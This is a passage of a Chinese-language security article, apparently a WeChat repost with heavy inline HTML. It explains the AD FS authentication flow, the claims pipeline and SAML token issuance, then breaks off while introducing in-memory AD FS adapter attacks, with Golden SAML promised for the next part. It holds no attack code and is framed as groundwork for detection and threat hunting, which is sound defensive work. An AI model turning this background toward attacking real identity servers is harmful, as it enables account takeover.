2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">AD FS 身份验证流程</span></strong></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在对 AD FS 有了基本认识之后，下面深入了解 AD FS 的身份验证流程。掌握这一流程是理解相关攻击向量、构建检测逻辑、开展威胁狩猎以及进行事件调查的重要基础。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf=""><img data-aistatus="1" alt="Azure Directory Entra ID Authentication Flow" class="rich_pages wxw-img" data-ratio="0.4402730375426621" data-type="png" data-w="586" style="max-width: 100%;" data-imgfileid="100012143" src="https://wechat2rss.xlab.app/img-proxy/?k=0ae35c1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgp2DrlaWnfHSDe9uTHfaicFBfQicmib8QIGsncXvkG9ibM15AiamqQK7fZmEsoGTib42nk0Ot1jEMyboviaF6ticFQzmWHLOwrdq431QM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></strong></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">图 2：AD FS 身份验证流程（高层概览）</span></em></p><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">步骤 1：向服务提供商发起认证请求</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">配置了 AD FS 的联合域用户通过 HTTPS 向相关服务提供商（如 O365、Gsuite 等）发起请求。此时，服务提供商本身并不知道该用户是否有权访问某个对象，因为它_没有_用户的密码。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">服务提供商唯一拥有的记录，是与其应用程序中对应联合域对象关联的 AD FS 端点和反向代理地址。</span></p><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">步骤 2：向 AD FS 反向代理发起认证请求</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如前文概述，AD FS 为位于本地 Active Directory 之外的 SaaS 和云应用提供 SSO 解决方案。为了安全地与本地服务器收发数据包，Microsoft 开发了一个反向代理，从而提供面向外部的接入点，无需将 AD FS 服务器本身暴露在外网。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在这一步骤中，服务提供商将把认证请求重定向至相应的 AD FS 反向代理，以便通过安全方式与本地 Active Directory 完成认证。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-aistatus="1" alt="reverse proxy redirected from Microsoftonline" class="rich_pages wxw-img" data-ratio="0.6063675832127352" data-type="png" data-w="691" style="max-width: 100%;" data-imgfileid="100012145" src="https://wechat2rss.xlab.app/img-proxy/?k=597f7fd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjXOS8gZChVKltvlzLAibXGs4BI6h96noCrGH28Ws40ic71JgyyUL0Z1Dn0ME4muOht3wYzDibfOYjgtliaHhH56Tcbe0N3D7bH6eg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">reverse proxy redirected from Microsoftonline</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">图 3：AD FS 反向代理由 Microsoftonline 重定向</span></em></p><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">步骤 3：声明生成</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">用户提供认证信息（包括本地凭据），若配置了外部适配器的 MFA，用户将先通过 Active Directory 验证，随后 AD FS 开始声明收集流程。该过程从 Active Directory 中采集用户相关信息，并将其组织为一组声明。这些信息可以是用户名或 UPN 等基本信息，也可以是组成员身份或角色等更复杂的信息，具体取决于用户所尝试访问的应用或对象。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">声明生成后，将进入声明管道——一系列用于处理声明的逻辑规则。声明管道首先接收传入的声明及其来源，然后按需添加或删除声明，最终生成颁发声明，用于构建提供给依赖方的安全令牌。声明管道的重要之处在于，它允许管理员添加规则和条件来实现用户的认证与授权，从而对整个认证流程进行高度定制。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-aistatus="1" alt="Azure Directory Claims Pipeline" class="rich_pages wxw-img" data-ratio="0.6666666666666666" data-type="jpeg" data-w="447" style="max-width: 100%;" data-imgfileid="100012142" src="https://wechat2rss.xlab.app/img-proxy/?k=4ae4c592&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSiagPJFxZILGdlVetqwc8LMfG3yrlTR3qpB01daz4ghna9Cj1WmzaXEicd77764PzFmXK17VOCwVb63IGRTIB2Q4KVFxjP2nlvD8%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span><figcaption><span leaf="">Azure Directory Claims Pipeline</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">图 4：AD FS 声明管道</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">声明规则指定了规则执行所需满足的一组条件，来看一个示例：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-aistatus="1" alt="Entra ID Claim Object example" class="rich_pages wxw-img" data-ratio="0.13703703703703704" data-type="png" data-w="1080" style="max-width: 100%;" data-imgfileid="100012144" src="https://wechat2rss.xlab.app/img-proxy/?k=fea2a077&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSh8cFSa67vNtYZw0baRJ6DtK2unCo6PN6aG4DZPuru0xIIRpQ75V9K58RRa4BacCHCEtpRnPt6t1VSZIKzSIZDcj8OQvAQs4ag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><em><span leaf="">图 5：声明对象示例</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">条件（红色）</span></strong><span leaf="">：指定声明规则执行所需满足的标准。在本例中，条件为声明类型必须为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf=""><a href="http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname" target="_blank">http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname</a></span></code><span leaf="">，且颁发者必须为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">AD AUTHORITY</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">操作（黄色）</span></strong><span leaf="">：指定条件满足后声明规则的执行内容，即管道最终</span><strong><span leaf="">颁发</span></strong><span leaf="">的声明。该操作将颁发类型为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf=""><a href="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress" target="_blank">http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress</a></span></code><span leaf="">的新声明，声明对象通过查询参数从 Active Directory 中检索。本例中，查询参数为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">;mail;{0}</span></code><span leaf="">，其中 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">{0}</span></code><span leaf="">替换为匹配声明的值（_c.Value_）。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">简而言之，我们接收了一个 </span><em><span leaf="">windowsaccountname</span></em><span leaf="">声明，并通过管道将其转换为 </span><em><span leaf="">emailaddress</span></em><span leaf="">声明。这些就是构建提供给依赖方的安全令牌的基本单元。</span></p><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">步骤 4：安全令牌生成</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在此步骤中，AD FS 开始构建将提供给依赖方的安全令牌。令牌基于上一步骤生成的颁发声明，并根据依赖方的配置转换为标准化的安全令牌格式。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">目前，AD FS 支持以下两种断言版本：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">SAML 1.1</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">SAML 2.0</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">使用通用断言标准对依赖方及 AD FS 作为通用 IdP 方案的采用至关重要，因为它允许依赖方基于标准化的断言格式进行开发。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以下示例展示了声明生成管道将声明类型和声明值转换为标准化断言对象的过程：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-aistatus="1" alt="Claims convert to a SAML object" class="rich_pages wxw-img" data-ratio="0.9865384615384616" data-type="jpeg" data-w="520" style="max-width: 100%;" data-imgfileid="100012149" src="https://wechat2rss.xlab.app/img-proxy/?k=018b2e2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSiaSJ99vdbORntD4XK7Nicf4F9U2Fldf8Dfq0YLsRzvUicFhtVo8icwz75lJdMh8tqiaOBkX47nvZ3QAOW59ZbLRsh7qlH0tiaaxhs0c%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span><figcaption><span leaf="">Claims convert to a SAML object</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">图 6：声明转换为 SAML 对象</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">安全令牌生成完成后，断言对象使用源自 AD CS（Active Directory 证书服务）的 AD FS 证书进行加密。这使依赖方能够确认该令牌由 AD FS 服务器授权颁发。本系列下一部分将深入探讨_这一_加密过程的原理、攻击者如何加以利用，以及更重要的——我们如何检测它。</span></p><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">步骤 5：用户向服务完成认证</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">相关服务收到断言安全令牌（无论是 WS-FED 还是 SAML 2.0）后，由于其与 AD FS 和 AD CS 之间存在信任关系，能够正确解密令牌。随后验证断言中的相关声明，并向用户颁发相应的认证 Cookie，完成对目标对象的访问授权。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">适配器攻击技术</span></strong></h2><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">概述</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在了解 AD FS 的各个身份验证步骤之后，我们可以逐一审视每个步骤，识别相关的攻击技术。本系列这一部分将聚焦于内存适配器攻击，下一章则将重点探讨安全令牌滥用，特别是 Golden SAML 技术。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">要理解针对 AD FS 的这些攻击，需要深入了解其目标及其在 AD FS 服务中的实现方式。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">简而言之，AD FS 适配器负责为身份提供商 (IdP) 流程添加附加功能。这可以是 AD FS 的内置功能（例如将输入从 AD FS 代理传递到声明管道流程），也可以是外部供应商功能（例如启用 Azure AD 提供多因素认证 (MFA)）。适配器允许外部 IdP 和依赖方供应商扩展对 AD FS 的支持。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">AD FS 服务启动时，会加载一个名为 </span><em><span leaf="">Microsoft.IdentityServer.Servicehost.exe</span></em><span leaf="">的二进制文件。该进程负责 AD FS 服务的所有活动，包括从代理接收声明、生成新声明，以及创建提供给依赖方的安全令牌。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-aistatus="1" alt="Screenshot of Task Manager showing Microsoft.IdentityServer.Servicehost.exe AD FS service process loaded into memory" class="rich_pages wxw-img" data-ratio="0.5444444444444444" data-type="png" data-w="1080" style="max-width: 100%;" data-imgfileid="100012148" src="https://wechat2rss.xlab.app/img-proxy/?k=ab27bbd2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSgiagA2Iic5Jic4LgQSCU3OX2iaJUggqKEtrs4ic0iaic9STgIOSU40D89dwcl5bUSicmeBVD5e2cvhibQoZ9RB6liblYibTV6UYJNVAoYD3o%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><em><span leaf="">图 7：AD FS 服务进程 Microsoft.IdentityServer.Servicehost.exe 加载至内存</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span 